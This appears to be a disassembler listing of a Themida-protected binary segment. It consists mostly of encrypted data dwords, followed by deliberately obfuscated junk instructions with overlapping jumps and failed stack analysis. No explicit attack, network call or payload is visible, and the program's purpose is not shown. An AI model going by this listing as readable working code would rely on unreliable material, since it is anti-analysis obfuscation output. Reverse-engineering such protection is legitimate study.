		dd 7FA6526Eh, 0D8C26334h, 11BCBCCBh, 0C40F319Ch, 0CC7460FCh
		dd 0DE162EA4h, 0DEBA4255h, 0E8AF5582h, 4F03D98h, 0C26333DDh
		dd 5A566D36h, 34939236h, 0D7ECC263h, 0AB2854B0h, 4F877391h
		dd 7F634FB5h, 0C2633460h, 73F2E8B9h, 0A0C0DB78h, 9B754410h
		dd 0B5E26E96h, 8651B128h, 0B6667D69h, 0DED1C263h, 42FCB7B5h
		dd 0CFF1C200h, 6415FC23h, 774C55C2h, 0D25E6939h, 7C751807h
		dd 5D2ADAF4h, 0A38FDEADh, 7DE1026Fh, 0E020B46Eh, 1DBD1726h
		dd 0F3E99601h, 47000002h, 0AD102877h, 0F7A0FA70h, 626E1225h
		dd 0FE8922E2h, 0FDDA2E0Ch, 18347C47h, 0E56E86BEh, 0C6AA06B2h
		dd 0E4FBE70Ah, 3DCA5E23h, 0CA55F74h, 273BF57Bh,	56FAD258h
		dd 0A12ACA7Ah, 0CAE6D232h, 6420071Eh, 445360C2h, 49679934h
		dd 5B99AB25h, 6945C5D2h, 5037CD05h, 5C88A530h, 0C2642045h
		dd 46BE159Eh, 0FBC14A5Ah, 8A415CACh, 0DBD0FBFDh, 1DB64EF0h
		dd 69660AA6h, 913D19DBh, 74606073h, 0C263476Dh,	0F28AFDC6h
		dd 0B83CC806h, 0F311339Ch, 61EEED64h, 993A164Ah, 7F08A163h
		dd 0D8F303E6h, 47B0AF13h, 0B809C263h, 0C11DA50Bh, 6272121Bh
		dd 4EAF5DCDh, 0DFF4EF02h, 32235AB8h, 86026FBEh,	0D702EFEAh
		dd 542E962Dh, 0EC1873Eh, 0A9057225h, 23000000h,	92728C47h
		dd 0DCCECEB9h, 1711A800h, 6D6804ACh, 0EF9831D3h, 0C7116D51h
		dd 0A9EEB73Dh, 5E23B0CFh, 0AB25494Ah, 1D25B99h,	10329BBFh
		dd 4A59FD87h, 614A5E24h, 4E2ACA70h, 59857F85h, 0CB12C57Fh
		dd 24944310h, 0E678979Ch, 0FF88ACC6h, 0EBB38366h, 0E17010C3h
		dd 99AB2422h, 9601D25Bh, 7990E874h, 0BE1945BFh,	3C844F84h
		dd 0BB6D7460h, 0FDC64A5Dh, 0BB100FB3h, 58694A5Dh, 912D912Fh
		dd 5DBB3E65h, 7D0A974Ah, 5DBACCF3h, 0CA0763CAh,	8CFBD430h
		dd 13BD2AEh, 873F40D2h,	61000001h, 7C98251h, 0FBA331CBh
		dd 4C5037D4h, 76DCC212h, 51B28DD7h, 22764446h, 79378CB0h
		dd 0AE46FCD5h, 0EAC67225h, 38BC4886h, 0A650286Fh, 53D257D7h
		dd 8617994Bh, 0FE890807h, 7EB31C44h, 63684B5Ah,	0C40FA4C2h
		dd 6549F50Fh, 63686281h, 0A1E6BBC2h, 6ECB745Fh,	53705BB9h
		dd 9929873Ch, 620AFDC1h, 4FBBCC88h, 3FC10B6Fh, 40AD2858h
		dd 58586B95h, 0E7919034h, 0FCE8C263h, 0C263E6E5h, 844D753Eh
		dd 0D9056913h, 0FAC263E7h, 0F5E123D9h, 0F1CD27DDh, 63E5DE05h
		dd 5D6A37C2h, 0EDD96980h, 0C263E5F6h, 8C51824Fh, 0F928CCF0h
		dd 52C263E5h, 8C4F1681h, 0FF6C24ACh, 3E3525ABh,	635B8B9Ah
		dd 4CFE4C2h, 0C56A6593h, 635B0221h, 7D465BC2h, 80BA1733h
		dd 2EDCAB84h, 61E3EE92h, 86865436h, 22C68757h, 0C263C103h
		dd 657D475Ch, 0F35A24Bh, 5C675CF5h, 23DDF854h, 84E8C474h
		dd 0EE2B54Fh, 0CA67F7E9h, 9AAC149Ch, 0F97E8D0Bh, 0A11FB48Eh
		dd 16EE14BDh, 6B24A3Dh,	4C856C6Ah, 7E7A0DB6h, 6B0FB153h
		dd 8C25DF61h, 7A5581FBh, 83502CC8h, 2FB67B79h, 95499FACh
		dd 0A1E61CB9h, 59DF25C4h, 0C20C7050h, 0DBB59242h, 0D3037D10h
		dd 898F4C4h, 0AE45ACDEh, 0D24C5BB5h, 95E29601h,	48C262ECh
		dd 6F95AF24h, 6D11B1D6h, 8720E45Eh, 0D22C743Ch,	0D488010Fh
		dd 33FB9700h, 0FD746B57h, 27CBB259h, 0B259FCF8h, 71428051h
		dd 6E12F626h, 0BB41925Fh, 0A1637039h, 0AD8B7F08h, 24362D99h
		dd 428FCA5Eh, 804B2F91h, 8327197Eh, 24A4BB27h, 0B4FDCA5Eh
		dd 0CAE80DE3h, 0C19DD262h, 3B14F02Ah, 7D525175h, 16ABC259h
		dd 3BA703ADh, 0C2597D24h, 9963347Dh, 0CC7661FDh, 8F89F28h
		dd 4EF6E0CDh, 881F3B85h, 0AADD768Eh, 0D0FC6060h, 7DAAB91Dh
		dd 0AE03C259h, 4B867225h, 4C856C66h, 5EE70DB6h,	0C7A38F75h
		dd 0CEA2F50Fh, 0CFC0BE3Ah, 46BE408Bh, 8084B81Ah, 0F70DC9A7h
		dd 2EAD38FDh, 8D15C921h, 0EC8E501Dh, 0AC395EBAh, 0ED02CD2Dh
		dd 0F2D2DA09h, 359E33B4h, 59E3EF8Bh, 80DCE42Eh,	98E8AF69h
		dd 0C722B03Dh, 0F1E2F10Bh, 0CE23ABCFh, 26FF053Fh, 0A692EA9Dh
		dd 0A3F408CAh, 64737C55h, 52814AAAh, 1B8B666Eh,	0ED80FB4Eh
		dd 0C25EE29Ah, 90EBFADEh, 6F44B4F2h, 917EA551h,	0CAD7B4F2h
		dd 79C920BDh, 78F84F29h, 534466BEh, 1898AA25h, 9F659F34h
		dd 2D118106h, 0A57B8051h, 61F8325Ch, 6A43C112h,	0FBF0DB1Dh
		dd 8B432DD7h, 21B27B79h, 841337E3h, 70639D37h, 19B5BB94h
		dd 275B9CEBh, 0BD000000h, 0F60E34A1h, 9F34C80Ah, 0AE1224F8h
		dd 5E241B4Ah, 755F74CAh, 0D8AF3C0Eh, 0BE9BEC0Ch, 54FC9222h
		dd 9753D357h, 2D22CF0h,	0F3DEFAFAh, 0EC7B351h, 0E8E410F4h
		dd 16C09C58h, 0ECEA16EEh, 13C09C58h, 0D8EF0BE9h, 18BAA65Eh
		dd 687220E4h, 6DE0h, 83240C89h,	2C8904ECh, 2B046824h, 14890000h
		dd 528BD24h, 0FD877940h, 0FD87D7F7h, 0ED81454Dh, 7EBB53D0h
		dd 24148B54h, 6804C483h, 2F98h,	8F242C89h, 148B0842h, 0E1895124h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 5D2434FFh,	4C481h
		dd 7DE90000h, 0AAFFF5CBh, 70EF9A78h, 2C7131B4h,	0B2FFB8D4h
		dd 0C5030804h, 0FF5DE0FFh, 477729D2h, 152B1555h, 79A338CBh
		dd 0E4A6213Eh, 305B5B4Ah, 9DF71E05h, 8836321Fh,	514A6865h
		dd 2BFC5E88h, 0FA5740B8h, 815F2587h, 29DF2826h,	532570C9h
		dd 9D156A07h, 550D6FC8h, 0A4A2DAFh, 0B6612BC6h,	45F903F4h
		dd 1D99473Ah, 8D8D2471h, 804B484h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0C9C35545h,	0B2D69A19h, 0AA9DF4E3h
		dd 27C18D89h, 21BB07FAh, 2B35E941h, 0FA05AD85h,	185C707h
		dd 0C007FA1Ch, 6A00005Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0C76FC351h,	8B48DF0Ch
		dd 0FA00D595h, 6D958907h, 0C707FA0Ch, 0FA1AED85h, 7, 0B5FFF500h
		dd 7FA2441h, 0CBEB8166h, 7D95FFEEh, 6A07FA17h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0CA35C351h, 841F3E77h, 19858934h, 2907FA18h,	0FA045D8Dh
		dd 0FF006A07h, 0FA012D95h, 0EBC08B07h, 0B189C26Ch, 61F9D97Dh
		dd 0DFA8BACEh, 8C1DB9F4h, 7D76C8DFh, 0B1CAC38h,	0CFAE309Ah
		dd 9AA37FB0h, 40D14718h, 0AE3FF4D5h, 59767C9Ch,	0E6B63A12h
		dd 8D19A2DFh, 2EA2F237h, 495F317Ah, 0BF414413h,	0A46A3D63h
		dd 5F1C6E5h, 360A387Bh,	0F761A067h, 8BE18A6Ch, 0AC95237Eh
		dd 22D68A0Bh, 0D4D5A0DBh, 0F5ABDB4Bh, 0CC493E19h, 0B764E5D2h
		dd 9E810h, 0CE670000h, 0E7BA6760h, 8A1D5FA5h, 0B9665EC8h
		dd 0C6812BE2h, 5F00h, 5E8h, 0D22A4000h,	890F8923h, 2, 335A60B3h
		dd 0CFB70FFFh, 8B3734FFh, 0FA0CC18Dh, 0F0815807h, 2A960E34h
		dd 911C48BAh, 0D3C08126h, 0E8609386h, 0Eh, 3BDB7BDEh, 0FC4FC81Eh
		dd 0AF97AD6Ah, 9D89B35Eh, 7FA3275h, 4FE8815Bh, 8926539Dh
		dd 890F3E04h, 2, 0D48AFFB6h, 0BF0BEF81h, 816664F2h, 816542CAh
		dd 0F2BF07C7h, 5E864h, 1C620000h, 8BC065E1h, 0FA2AE59Dh
		dd 0FF815A07h, 0FFFFA1CCh, 14850Fh, 0B70F0000h,	24E9CAh
		dd 59430000h, 10C311A5h, 31F88585h, 0D981474Dh,	66E7304h
		dd 0FFFF6BE9h, 64BB52FFh, 4693B53Dh, 69E50950h,	0EE8EF4Dh
		dd 0DD000000h, 46E8E306h, 0B779262Fh, 15E72A8Fh, 0BD8B5BD7h
		dd 7FA091Dh, 5B4DC381h,	95030000h, 7FA042Dh, 16A5B9h, 0D78B6600h
		dd 0FE933FFh, 90000000h, 4A2F3AE5h, 4138D80Bh, 0F6804BABh
		dd 0E9586D4Bh, 6, 5C72D65Ah, 0E881DD79h, 2E5C7FB8h, 81F6B70Fh
		dd 0FFA4C5C0h, 6860F1Ch, 8B000000h, 0FA1E8995h,	86C08107h
		dd 50106EEEh, 18D9B58Bh, 38F07FAh, 0BB28E781h, 0EB835C27h
		dd 0D5BD8904h, 4907FA02h, 1F850Fh, 860F0000h, 4, 4F29BF66h
		dd 23E9h, 0E3230C00h, 576EE177h, 8328F0D1h, 5B689740h
		dd 38C0F21h, 66000000h,	71E9D68Bh, 0BBFFFFFFh, 758B56B2h
		dd 0B7458D8Dh, 15BA0804h, 89470611h, 0FA27C18Dh, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0C5692D66h, 2880F7Dh, 8B000000h, 185C7F3h, 0D007FA1Ch
		dd 6A00005Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 7635C353h, 50FD9420h, 0ED85C746h
		dd 7FA1Ah, 8B000000h, 0FA32B19Dh
		dd 29B5FF07h, 6A07FA24h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 473EC352h, 0AAD27B67h
		dd 9A3F409Bh, 1E959D29h, 95FF07FAh, 7FA177Dh, 12B59D8Bh
		dd 6A07FAh, 12D95FFh, 0C08B07FAh, 7A934AEBh, 7D0B75A4h
		dd 670699BBh, 0A26EEF0h, 0C0446454h, 621A92D0h,	0A4B3279Eh
		dd 17BDB48Ch, 4D5B04AEh, 9AE2A9D9h, 0B523DE81h,	0D4622899h
		dd 4A47EBAEh, 572685D3h, 0FAD10159h, 680B3A39h,	0F6DB58Fh
		dd 2E158CB3h, 0E8B8C7EBh, 0EDE900EBh, 37000008h, 0CBB35F99h
		dd 0E905FD07h, 0C6AA58D2h, 0E30BF70Dh, 1BA959EBh, 0C77D59FBh
		dd 6799333Bh, 0C87A539Bh, 699B363Ah, 0E612AE99h, 0C2596CBFh
		dd 3E623E18h, 698BB122h, 6D0918E0h, 0FE62C259h,	0F7A033D1h
		dd 82C21225h, 3F3A7D38h, 17BBBDCAh, 63ABB0EEh, 16DDD920h
		dd 0C1B0E795h, 0BE547F54h, 359E2BC2h, 9D49F50Fh, 0CA5D6786h
		dd 7F01D2DFh, 7E47AD57h, 0C30F6B55h, 0A5F2BB39h, 0B27949E5h
		dd 82793B45h, 0EDE61285h, 8D36CE04h, 708A4723h,	4B836B27h
		dd 0E7DC6866h, 0C829A5C9h, 34FDF731h, 969AF89Fh, 3B741C0Eh
		dd 44647092h, 639502D6h, 73D7D96Bh, 854EA658h, 94B87812h
		dd 6692053Fh, 41BC76Ah,	5DCA5D28h, 9FA12C54h, 0E4F08C34h
		dd 880F985Ch, 5E8A260Ah, 0CA5D2847h, 30D4705Eh,	1861B97h
		dd 0FCD9D6FFh, 9A29DBF3h, 0BF238729h, 0CA5D28A0h, 24E01AB7h
		dd 169A278Bh, 5D28B3B2h, 0D0B70CCAh, 0B6227E42h, 0CA5D28AFh
		dd 0D16B6808h, 68639502h, 28001FC3h, 0F559CA5Dh, 299A29DBh
		dd 0AA5A3787h, 0F1F83D5Fh, 0CFB812E3h, 0F3A4FAD0h, 0E3079797h
		dd 9190345Ch, 0EACA5DA6h, 0AFEAEBD9h, 5287F196h, 0B5CA60ECh
		dd 15F6EDD9h, 824FCA5Ah, 4C6CED15h, 5B87A230h, 0CA5A1644h
		dd 0D8BF149Dh, 15C02DA8h, 934009EBh, 3E65912Dh,	97CA5A16h
		dd 6CDCBA0Ah, 3C8398E7h, 0A905B14Bh, 5945263Dh,	4A597DCAh
		dd 0A3CA5945h, 781FB40Eh, 715E4B88h, 9CC000D3h,	0FBC1130Dh
		dd 47DAF403h, 0C9750F78h, 0BC42DA5h, 0A132FBF9h, 0D41CB63h
		dd 4622142Eh, 60200A7Dh, 9989983Ch, 0D1E2CA59h,	0D019BAC6h
		dd 98D908ECh, 0A132CA59h, 59994857h, 8B39B3CAh,	0D3B8F156h
		dd 0CFF1E2EFh, 0E8D0E3EBh, 8FEB1F8Dh, 59573A69h, 593E93CAh
		dd 0F1F9BFB9h, 1334019Bh, 1EA231A8h, 886C9042h,	0EC16C1BFh
		dd 5D019D9Bh, 2BC5D270h, 0D253B1D1h, 1FAED2EEh,	0A246DF25h
		dd 0C25F7C83h, 2C0C7DCh, 7C2B3A9Eh, 0DC84C25Fh,	1EA74DF7h
		dd 12A21EB5h, 125504FAh, 0D7A5F242h, 5FCA6873h,	0B04A87C2h
		dd 93AD2854h, 53ED971h,	32F3CE07h, 0A1AE2DB8h, 3BFBDE65h
		dd 6B89B31Fh, 81D0B5E2h, 0D3026BEAh, 0C1140BB7h, 646DC25Fh
		dd 262C433h, 88E40000h,	0B1E3B44Ch, 0E3616E12h,	0E70AC4B4h
		dd 5E23E4FBh, 2ED0FBCAh, 2C943F94h, 243D6490h, 0D96CA5Eh
		dd 8B2A027Ah, 0E2CB6E5h, 0ED32864Eh, 922E9B5h, 7360FCC0h
		dd 0DEA22BC9h, 794750F4h, 63993915h, 6AB1BC34h,	0CCF0CA5Dh
		dd 2047A104h, 0E711ECDBh, 0CA5DB0B8h, 0EBD7C011h, 2BBD66D7h
		dd 40936067h, 6574D8C4h, 319CDCABh, 2AC9D8FCh, 9122CA5Dh
		dd 8CF0D042h, 5541C37Dh, 5D2B7271h, 0CDF6CBCAh,	9E13BEBAh
		dd 5CF50F35h, 0AA254967h, 0A995EF98h, 0FAFA08C5h, 96246631h
		dd 6271AB42h, 31EB025Eh, 1A365A66h, 5E1285BFh, 0D2574990h
		dd 28E2F955h, 0CB4F635Fh, 9CCAA09Dh, 0D14C000h,	66C26298h
		dd 0DA8E665Dh, 475E8A26h, 0A0C26298h, 2D98413h,	7A337242h
		dd 30A83ECEh, 31BE1967h, 0CB64A09Ah, 6AF00AF8h,	1F3B5F61h
		dd 73FD8AB4h, 0CA5CA611h, 9155961Eh, 0B267ABB8h, 46415526h
		dd 2953EDBh, 68616C38h,	639A6010h, 931CD86Ah, 512D9340h
		dd 0AD867E84h, 2E7622DAh, 853EF70Bh, 78884429h,	7720B37Ch
		dd 6E644D89h, 0A7C3EDD6h, 5BF4102Ah, 0BEE2DE2Ch, 68A20B1Ah
		dd 484F64BAh, 0BB139E38h, 0F1E26B89h, 89432713h, 62FA1077h
		dd 9535C80Ah, 79E6B670h, 0A808BB08h, 0F819BC04h, 2DD30728h
		dd 18405F83h, 899BA69h,	181AF97Fh, 6D11BA69h, 36A0E062h
		dd 0D5B9890Eh, 6916F2F1h, 7F634BBAh, 0BA691760h, 0E8DBE8B9h
		dd 1729A4C8h, 0C74354DDh, 9E2227B1h, 9AED17C2h,	745E029Eh
		dd 0F31C7D0h, 0ACC2631Ah, 8EF903D0h, 14F820B4h,	64BF502Fh
		dd 896D516Fh, 0B26EC85Ah, 36A21EB3h, 0B26EC82Fh, 0B04C3B88h
		dd 0BC4A804h, 0C7F0EFF9h, 7849B26Eh, 60E5F10Fh,	21DBB924h
		dd 2CD6EDFAh, 3F7B8A44h, 4262CCC2h, 0DC6D0451h,	0E84D42E8h
		dd 0DB9D5DBh, 0B26E9416h, 21A1A32Dh, 0EFDF4490h, 51933DEh
		dd 324EEA92h, 0CD669EA6h, 0E8F4C8BAh, 0E4B99D12h, 7584EC38h
		dd 0C4A808BBh, 152FA70Ah, 876D56EFh, 0C3E7D9BEh, 0D4002DA7h
		dd 0B26E59CDh, 61269D26h, 6E5ABC97h, 1D1ADB2h, 0C4E8C8FBh
		dd 6E5A0120h, 3E495AB2h, 30E4ECD4h, 585CEF12h, 0BF140E9Dh
		dd 162EA8D8h, 0EC18B69Ah, 2B4FEF9Bh, 1FF5A29Ch,	0B25CC212h
		dd 0BD37C903h, 27EFE0F4h, 4A10F2A5h, 0AD9BCA2Eh, 24B2CA5Dh
		dd 0C211A220h, 12BEA2FEh, 0E9CBA5F2h, 16D257C0h, 0A551983Ah
		dd 0C263997Eh, 0FBF9CAD7h, 4C556532h, 0E1CC0864h, 80844FF5h
		dd 99313094h, 398AC263h, 937FFD8Ah, 0F4E61FB7h,	274B7A9h
		dd 3C3C4B78h, 0BC557091h, 0BD070198h, 0F9D58E18h, 0B320A94Bh
		dd 724EF220h, 63BC5F86h, 0D9EBB8C2h, 17BEB2F5h,	675E292Ah
		dd 8615394Fh, 3307FB8Ch, 7B48FAD3h, 0D2F69A76h,	0C2640FD3h
		dd 88F0972Ch, 0C2641056h, 23C97B3h, 0C3686395h,	6410001Fh
		dd 7B4859C2h, 82B81935h, 95B97515h, 7D7B0C06h, 2A399D52h
		dd 83C26410h, 7F1BA52Eh, 64104C53h, 6B1CA5C2h, 8C492511h
		dd 36A27E76h, 0C264102Fh, 0FF883B88h, 0AD19D601h, 0C26410B6h
		dd 11BEC20Fh, 8B3811F3h, 0C2408D69h, 8BB91642h,	6B6EF569h
		dd 0B793CDDEh, 2BB2E51Fh, 7B8550B0h, 86BC1935h,	58B2E56Eh
		dd 61CD4858h, 39541BB4h, 0BB2E3F4Eh, 1E82026Fh,	63F2ABBAh
		dd 0E8AF04C2h, 7B17h, 0AA297900h, 4C0D395h, 0DC29EB9Ch
		dd 1428AAFEh, 705D01BFh, 0EE9932D2h, 3C666E52h,	28C5FF4Fh
		dd 0C4AA4E39h, 89D25802h, 453C3C39h, 0B7E0A9E0h, 203FA30Bh
		dd 79C263C8h, 39159B28h, 6321669Ch, 0A0493B7h, 44C00EEAh
		dd 5FE5F18Fh, 7D7B0CA5h, 2A399D52h, 41C263C8h, 0BF886C96h
		dd 0ED25AE03h, 0B8B68151h, 0BC26A82Fh, 5DACCBh,	0B00C0000h
		dd 0FAFE06CCh, 0C26344EBh, 0F4286F44h, 2BA801D2h, 62FEC211h
		dd 41BBCC70h, 0D1DEF955h, 2B04003Ah, 56805C98h,	867225AEh
		dd 0D86C664Bh, 0C92D931Ch, 0CA5E249Ah, 0CBF5DEF3h, 0B5C43803h
		dd 99A81E87h, 578CC0C7h, 836F5182h, 0CA5D8F5Ch,	0EF9BECB5h
		dd 58876B4Fh, 0B1CA5D8Fh, 12A57720h, 241B4AAEh,	5F74CA5Eh
		dd 5E8B4838h, 5E246B7Ah, 0E4EFC4CAh, 7915AB2Eh,	5E24564Dh
		dd 7522AFCAh, 7483E7C3h, 0B41E3ABAh, 0E8DB7490h, 23CED99Fh
		dd 411DCA5Eh, 0BE876D97h, 4D85E9D9h, 63753DB7h,	3780044Dh
		dd 21ABD5FEh, 6450B41Fh, 469B7848h, 991CF22h, 5D61C0DFh
		dd 0B4AB17CAh, 0DCA5D62h, 11B6FEC4h, 4AB73469h,	6799FED5h
		dd 0C13BF6Ch, 23CA5D35h, 0D45D97A9h, 369BE5EEh,	745FE80Ch
		dd 4C30CC90h, 9DA72B86h, 9205CE57h, 734910CBh, 5740FAD7h
		dd 7D694569h, 0CA5D3566h, 0CBA5F2BFh, 0CA5D34D8h, 78894327h
		dd 0B206EF7Fh, 659F34CAh
		dd 5FFFBBCCh, 0B9F7CC76h, 2B0ADE9h, 0FDD62ED6h,	0E3FFFFC7h
		dd 0C4A804B4h, 0E38DFA0Ah, 0CA5E18BCh, 669C3915h, 0B20EC58Eh
		dd 0D40004CEh, 5D29BD4Ah, 78128586h, 0F43994B8h, 5DF4D1D0h
		dd 2A992ACAh, 6A9601CAh, 0AE56826Fh, 0A1477D56h, 354786D3h
		dd 0EEB6FAC9h, 0D5CF6A1Ch, 34DEA904h, 0DE61448Ch, 9E9BE860h
		dd 0CD6D6CF9h, 3018205h, 6CF0FA6h, 0A42FF8FCh, 0B351F3DCh
		dd 668A6D1Ah, 0AE000000h, 0F7BFE612h, 8B18CA5Dh, 7D218FCh
		dd 23E7FEEAh, 6040CA5Eh, 5E246D74h, 0C6FDC6CAh,	931BF7FDh
		dd 0EB5725FAh, 5D1AF7Bh, 5B2C05FFh, 943DB21Dh, 857FF06Fh
		dd 0A61DCB9Dh, 724E854Eh, 0C143C10Eh, 4BF39FE8h, 6899A22Fh
		dd 45ECB187h, 0B005CF04h, 0D833178h, 0CF6DEC9Bh, 81D807EBh
		dd 4D31CA5Dh, 42557E84h, 0FA02D252h, 51F3DEFAh,	0F40EC7B3h
		dd 58E8E410h, 0EE16C09Ch, 58ECEA16h, 0E913C09Ch, 5ED8EF0Bh
		dd 0E418BAA6h, 0AD687220h, 8900000Ah, 89522404h, 4C281E2h
		dd 83000000h, 148704EAh, 14895C24h, 37076824h, 2C890000h
		dd 0EDBF5724h, 0BA79D079h, 71D4CE76h, 3C8BFA31h, 4C48324h
		dd 242C8B54h, 4C481h, 89570000h, 87D89D7h, 81243C8Bh, 4C4h
		dd 2434FF00h, 4C4835Dh
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		db 4Bh
		dd 0E408279Dh, 0F3DB339Ah, 645D5E71h, 4C00AB8h,	0FFC50308h
		dd 5D49D5E0h, 50A33B62h, 8D4A4026h, 0C3669F1Dh,	0CF51E727h
		dd 0CB3EB027h, 0D30E470Fh, 0E257F934h, 0EC13974Dh, 0DC55B58h
		dd 0D73C564Fh, 22B9C203h, 13221D11h, 39374723h,	0E2329C24h
		dd 8D4AC738h, 56BD932Bh, 4A5841h, 0D3C08125h, 50F0EC3Dh
		dd 3D433E12h, 22152601h, 3F11A65h, 18591E00h, 81666049h
		dd 0E9EE7ED6h, 0Dh, 0FA8EC9E1h,	2FFBA440h, 0AE71E3C5h
		dd 8151617Eh, 756116E1h, 8B665F4Ch, 13E8C1h, 0DDF10000h
		dd 7EA853FEh, 0C9F1C2A2h, 0EB59D17Eh, 6CEF46A8h, 0C68166A2h
		dd 0E958583Dh, 0Fh, 5AB7DE6Dh, 1300772Ch, 81BDA6ADh, 81F73E9Fh
		dd 7752D2E3h, 5B8FBB31h, 10E96243h, 0F9000000h,	9D1E36B3h
		dd 0F52A359Ch, 0DCCC5382h, 604B967Dh, 8E956h, 775D0000h
		dd 5BA6A32Bh, 0F5836F7h, 387h, 0D68B6600h, 0F6B70F61h
		dd 0BE5FF551h, 27FB0112h, 0FF2BF0Fh, 8166CBB7h,	0E9FC66D7h
		dd 11h,	0FE6D2A5Dh, 44003263h, 21BCB5DCh, 7B5528D2h, 0F38160E8h
		dd 1D267AADh, 1A49BE61h, 0E9816AA1h, 2E06CBD9h,	9E9h, 0C5D1F200h
		dd 0EC9BD655h, 810F7C78h, 0Ch, 68A0Fh, 8A0F0000h, 0
; ---------------------------------------------------------------------------
		mov	ax, 0A499h
		push	ecx
		pop	edx
		mov	edi, ebx
		adc	bx, 9818h
		mov	cl, ah
		jmp	loc_64DD0B
; ---------------------------------------------------------------------------
		dd 0E7B94EFFh, 0CD8D7FFAh, 0CF1AB17Ch, 0DA64826Ch
; ---------------------------------------------------------------------------
		retf	86h
; ---------------------------------------------------------------------------


loc_64DD0B:				; CODE XREF: Themida_:0064DCF3j
		jmp	loc_64DD22
; ---------------------------------------------------------------------------
		dd 0F1DB99C6h, 8ED1CD00h, 0FDFEDFD2h, 7D100B82h
		db 0A2h, 0FFh
; ---------------------------------------------------------------------------


loc_64DD22:				; CODE XREF: Themida_:loc_64DD0Bj
		and	esi, 0B5DC334h
		movsx	ecx, si
		mov	si, 963Dh
		jmp	loc_64DD3E
; ---------------------------------------------------------------------------
		lodsd
		mov	eax, 2D0D02Eh
		adc	dh, [ebp-57h]
		push	esi


loc_64DD3E:				; CODE XREF: Themida_:0064DD2Fj
		mov	dx, 433Bh
		add	si, 0B06Dh
		pusha
		mov	ebx, 518AB2C0h	; CODE XREF: Themida_:0064DD67j
		popa
		pusha
		mov	edi, 46DC235Bh
		push	ebx
		pop	esi
		popa
		pusha
		call	near ptr loc_64DD69+1
		add	edx, ebx
		in	al, dx
		adc	[edx+ecx*8+70h], dl
		sbb	[ebx+37h], esp
		js	short near ptr loc_64DD48+2


loc_64DD69:				; CODE XREF: Themida_:0064DD58p
		jmp	near ptr 0F64C5ED4h
; ---------------------------------------------------------------------------
		inc	edi
		pop	edx
		mov	esi, 23ED718Eh
		popa
		stc
		pusha
		js	loc_64DD80
		mov	eax, ebx


loc_64DD80:				; CODE XREF: Themida_:0064DD78j
		jmp	loc_64DD92
; ---------------------------------------------------------------------------
		db 66h,	7Bh, 83h
		dd 909B1A65h, 0B2E741DCh
		db 0EAh, 0D2h
; ---------------------------------------------------------------------------


loc_64DD92:				; CODE XREF: Themida_:loc_64DD80j
		popa
		call	sub_64DDA5
		mov	eax, ds:0F4209670h
		cwde
		retn
; ---------------------------------------------------------------------------
		db 49h
		dd 0A535391Fh
		db 0E5h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_64DDA5	proc near		; CODE XREF: Themida_:0064DD93p
		jmp	sub_64DDB8
sub_64DDA5	endp

; ---------------------------------------------------------------------------
		dw 50F0h
		dd 0C7B2933h, 5A4CFBB3h, 622DE9B3h

; =============== S U B	R O U T	I N E =======================================



sub_64DDB8	proc near		; CODE XREF: sub_64DDA5j
		pop	esi
		mov	di, 0DFBFh
		movzx	edx, cx
		mov	eax, esi
		call	sub_64DDD7
		cmpsd
		ja	short near ptr loc_64DDDE+1
		sbb	[bx+si-69h], ebx
		mov	al, 97h
		fsub	dword ptr [ebx+edx*8+6573C5BFh]
sub_64DDB8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_64DDD7	proc near		; CODE XREF: sub_64DDB8+Ap
		clc
		pop	edi
		movsx	edx, ax
		mov	cl, 3Bh


loc_64DDDE:				; CODE XREF: sub_64DDB8+10j
		mov	ecx, esi
		jmp	loc_64DDF1
; ---------------------------------------------------------------------------
		db 53h,	33h, 0A2h
		dd 9AD74365h, 1913ECE4h
		db 7Ch
; ---------------------------------------------------------------------------


loc_64DDF1:				; CODE XREF: sub_64DDD7+9j
		mov	di, 81A3h
		movsx	esi, di
		jb	loc_64DE00
		mov	eax, esi


loc_64DE00:				; CODE XREF: sub_64DDD7+21j
		js	loc_64DE10
		jle	loc_64DE10
		mov	bx, 2AFEh


loc_64DE10:				; CODE XREF: sub_64DDD7:loc_64DE00j
					; sub_64DDD7+2Fj
		mov	ah, 30h
		call	near ptr loc_64DE22+3
		lodsb
		outsd
		inc	ebp
		jno	short near ptr loc_64DE30+4
		db	64h
		mov	eax, 0EBA35E1Fh


loc_64DE22:				; CODE XREF: sub_64DDD7+3Bp
		call	far ptr	58F8h:8B665210h
sub_64DDD7	endp ; sp-analysis failed

		or	edi, 6ED4F734h
		cld


loc_64DE30:				; CODE XREF: sub_64DDD7+43j
		sub	edi, 1FE3E5DBh
		push	ecx
		mov	esi, 7A1927CEh
		pop	ecx
		push	edi
		mov	dx, ax
		pop	edi
		jle	loc_64DE4A
		mov	ah, ch


loc_64DE4A:				; CODE XREF: Themida_:0064DE42j
		pusha
		mov	ah, 0A1h
		jo	loc_64DE56
		movsx	ebx, bx


loc_64DE56:				; CODE XREF: Themida_:0064DE4Dj
		popa
		mov	ax, di
		mov	ebx, ecx
		call	near ptr loc_64DE63+3
		pop	ecx
		push	esp


loc_64DE63:				; CODE XREF: Themida_:0064DE5Cp
		or	eax, 8B668813h
		rep pop	edx
		jmp	loc_64DE7F
; ---------------------------------------------------------------------------
		db 38h
		dd 9DE3516Ah, 2EE8FB4Fh, 0DAAFB380h
		db 0A3h, 47h, 72h
; ---------------------------------------------------------------------------


loc_64DE7F:				; CODE XREF: Themida_:0064DE6Aj
		sbb	dx, 7103h
		jmp	loc_64DE9B
; ---------------------------------------------------------------------------
		stc
		cmp	eax, 0F114DEB8h
		jmp	short loc_64DED1
; ---------------------------------------------------------------------------
		db 6Fh,	9, 0AAh
		dd 222BB820h
		db 0DEh, 1Eh, 0B5h
; ---------------------------------------------------------------------------


loc_64DE9B:				; CODE XREF: Themida_:0064DE84j
